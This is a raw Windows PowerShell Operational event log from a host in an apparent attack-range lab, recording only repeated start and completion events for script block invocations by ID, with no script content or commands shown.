RecordNumber=2033738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033717
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033715
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033714
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033697
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033691
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
